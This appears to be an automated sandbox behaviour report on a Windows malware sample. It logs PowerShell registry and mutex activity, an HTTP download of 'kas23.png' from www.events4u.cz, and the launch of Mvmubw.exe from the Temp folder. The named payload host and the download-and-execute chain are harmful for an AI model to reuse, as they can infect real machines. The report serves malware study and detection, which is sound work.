Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 2
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance True 1
Fn
Open Key HKEY_CURRENT_USER True 1
Fn
Open Key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Environment value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 9
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 9
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion value_name = InstallationType, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion value_name = InstallationType, data = Client, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance value_name = Library, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance value_name = Library, data = netfxperf.dll, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance value_name = IsMultiInstance, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance value_name = IsMultiInstance, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance value_name = First Counter, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance value_name = First Counter, data = 4986, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance value_name = CategoryOptions, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance value_name = CategoryOptions, data = 3, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance value_name = FileMappingSize, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance value_name = FileMappingSize, data = 131072, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance value_name = Counter Names, type = REG_BINARY True 2
Fn
Data
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Process (2)
+
Operation Process Additional Information Success Count Logfile
Create C:\Users\ADU0VK~1\AppData\Local\Temp\Mvmubw.exe show_window = SW_SHOWNORMAL True 1
Fn
Get Info type = PROCESS_BASIC_INFORMATION True 1
Fn
Module (4)
+
Operation Module Additional Information Success Count Logfile
Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 2048 True 1
Fn
Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 260 True 1
Fn
Create Mapping filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 131072 True 1
Fn
Map process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, desired_access = FILE_MAP_WRITE True 1
Fn
System (8)
+
Operation Additional Information Success Count Logfile
Get Computer Name result_out = AUFDDCNTXWT True 1
Fn
Get Info type = Operating System False 6
Fn
Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Mutex (28)
+
Operation Additional Information Success Count Logfile
Create mutex_name = Global\.net clr networking True 10
Fn
Create mutex_name = Global\.net clr networking False 1
Fn
Create mutex_name = Global\.net clr networking True 5
Fn
Open mutex_name = Global\.net clr networking, desired_access = MUTEX_MODIFY_STATE, SYNCHRONIZE True 1
Fn
Release mutex_name = Global\.net clr networking True 1
Fn
Release mutex_name = Global\.net clr networking True 5
Fn
Release mutex_name = Global\.net clr networking True 5
Fn
Environment (96)
+
Operation Additional Information Success Count Logfile
Get Environment String name = MshEnableTrace False 94
Fn
Get Environment String name = PSMODULEPATH, result_out = C:\Users\aDU0VK IWA5kLS\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Network Behavior
DNS (1)
+
Operation Additional Information Success Count Logfile
Resolve Name host = www.events4u.cz, address_out = 93.185.102.11 True 1
Fn
TCP Sessions (1)
+
Information Value
Total Data Sent 0.07 KB (74 bytes)
Total Data Received 472.33 KB (483666 bytes)
Contacted Host Count 1
Contacted Hosts 93.185.102.11:80
TCP Session #1
+
Information Value
Handle 0x4a4
Address Family AF_INET
Type SOCK_STREAM
Protocol IPPROTO_TCP
Remote Address 93.185.102.11
Remote Port 80
Local Address 0.0.0.0
Local Port 1728
Data Sent 0.07 KB (74 bytes)
Data Received 472.33 KB (483666 bytes)
Operations
Operation Additional Information Success Count Logfile
Create protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM True 1
Fn
Connect remote_address = 93.185.102.11, remote_port = 80 True 1
Fn
Send flags = NO_FLAG_SET, size = 74, size_out = 74 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 4096, size_out = 4096 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 65536 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 8776 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 56628 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 4356 True 3
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 65536 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 8516 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 3472 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 884 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 56628 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 63888 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 29040 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 3472 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 3788 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 65536, size_out = 59532 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 39354, size_out = 5808 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 33546, size_out = 1452 True 1
Fn
Data
Receive flags = NO_FLAG_SET, size = 32094, size_out = 32094 True 1
Fn
Data
Close type = SOCK_STREAM True 1
Fn
HTTP Sessions (1)
+
Information Value
Total Data Sent 0.07 KB (74 bytes)
Total Data Received 472.33 KB (483666 bytes)
Contacted Host Count 1
Contacted Hosts www.events4u.cz
HTTP Session #1
+
Information Value
Server Name www.events4u.cz
Server Port 80
Data Sent 0.07 KB (74 bytes)
Data Received 472.33 KB (483666 bytes)
Operations
Operation Additional Information Success Count Logfile
Open Session access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, proxy_name = WINHTTP_NO_PROXY_NAME, proxy_bypass = WINHTTP_NO_PROXY_BYPASS True 1
Fn
Open Connection protocol = http, server_name = www.events4u.cz, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /kas23.png True 1
Fn
Send HTTP Request headers = host: www.events4u.cz, connection: Keep-Alive, url = www.events4u.cz/kas23.png True 1
Fn
Data
Read Response size = 4096, size_out = 4096 True 1
Fn
Data
Read Response size = 65536, size_out = 65536 True 1
Fn
Data
Read Response size = 65536, size_out = 8776 True 1
Fn
Data
Read Response size = 65536, size_out = 56628 True 1
Fn
Data
Read Response size = 65536, size_out = 4356 True 3
Fn
Data
Read Response size = 65536, size_out = 1452 True 1
Fn
Data
Read Response size = 65536, size_out = 65536 True 1
Fn
Data
Read Response size = 65536, size_out = 8516 True 1
Fn
Data
Read Response size = 65536, size_out = 3472 True 1
Fn
Data
Read Response size = 65536, size_out = 884 True 1
Fn
Data
Read Response size = 65536, size_out = 56628 True 1
Fn
Data
Read Response size = 65536, size_out = 63888 True 1
Fn
Data
Read Response size = 65536, size_out = 29040 True 1
Fn
Data
Read Response size = 65536, size_out = 3472 True 1
Fn
Data
Read Response size = 65536, size_out = 3788 True 1
Fn
Data
Read Response size = 65536, size_out = 59532 True 1
Fn
Data
Read Response size = 39354, size_out = 5808 True 1
Fn
Data
Read Response size = 33546, size_out = 1452 True 1
Fn
Data
Read Response size = 32094, size_out = 32094 True 1
Fn
Data
Close Session True 1
Fn
Process #6: mvmubw.exe
(Host: 43, Network: 0)
+
Information Value
ID #6
File Name c:\users\adu0vk~1\appdata\local\temp\mvmubw.exe
Command Line "C:\Users\ADU0VK~1\AppData\Local\Temp\Mvmubw.exe"
Initial Working Directory C:\Users\aDU0VK IWA5kLS\Desktop\
Monitor Start Time: 00:01:25, Reason: Child Process
Unmonitor End Time: 00:02:26, Reason: Terminated by Timeout
Monitor Duration 00:01:01
OS Process Information
+
Information Value
PID 0xb18
Parent PID 0xa40 (c:\windows\system32\windowspowershell\v1.0\powershell.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username AUFDDCNTXWT\aDU0VK IWA5kLS
Groups
  • AUFDDCNTXWT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:000103d4 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B1C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable True True False
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True True False
private_0x0000000000030000 0x00030000 0x00030fff Private Memory Readable, Writable True True False
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
private_0x0000000000050000 0x00050000 0x0008ffff Private Memory Readable, Writable True True False
private_0x0000000000090000 0x00090000 0x0018ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000190000 0x00190000 0x00193fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000001a0000 0x001a0000 0x001a0fff Pagefile Backed Memory Readable True False False
locale.nls 0x001b0000 0x00216fff Memory Mapped File Readable False False False
private_0x0000000000220000 0x00220000 0x00220fff Private Memory Readable, Writable, Executable True True False
pagefile_0x0000000000230000 0x00230000 0x00230fff Pagefile Backed Memory Readable, Writable True False False
private_0x0000000000280000 0x00280000 0x002fffff Private Memory Readable, Writable True True False
private_0x0000000000300000 0x00300000 0x0036ffff Private Memory Readable, Writable True True False
private_0x0000000000370000 0x00370000 0x003effff Private Memory Readable, Writable True True False
mvmubw.exe 0x00400000 0x00475fff Memory Mapped File Readable, Writable, Executable True False False
private_0x0000000000400000 0x00400000 0x00441fff Private Memory True True False
private_0x0000000000550000 0x00550000 0x0064ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000650000 0x00650000 0x007d7fff Pagefile Backed Memory Readable True False False
private_0x0000000000800000 0x00800000 0x0080ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000810000 0x00810000 0x00990fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000009a0000 0x009a0000 0x01d9ffff Pagefile Backed Memory Readable True False False
pagefile_0x0000000001da0000 0x01da0000 0x01e7efff Pagefile Backed Memory Readable True False False
sortdefault.nls 0x01e80000 0x0214efff Memory Mapped File Readable False False False
private_0x0000000002150000 0x02150000 0x0227efff Private Memory Readable, Writable True True False
dwmapi.dll 0x73600000 0x73612fff Memory Mapped File Readable, Writable, Executable False False False
uxtheme.dll 0x73a80000 0x73afffff Memory Mapped File Readable, Writable, Executable False False False
wow64win.dll 0x73c40000 0x73c9bfff Memory Mapped File Readable, Writable, Executable False False False
wow64.dll 0x73ca0000 0x73cdefff Memory Mapped File Readable, Writable, Executable False False False
wow64cpu.dll 0x73d10000 0x73d17fff Memory Mapped File Readable, Writable, Executable False False False
cryptbase.dll 0x75270000 0x7527bfff Memory Mapped File Readable, Writable, Executable False False False
sspicli.dll 0x75280000 0x752dffff Memory Mapped File Readable, Writable, Executable False False False
ole32.dll 0x752e0000 0x7543bfff Memory Mapped File Readable, Writable, Executable False False False
rpcrt4.dll 0x75440000 0x7552ffff Memory Mapped File Readable, Writable, Executable False False False
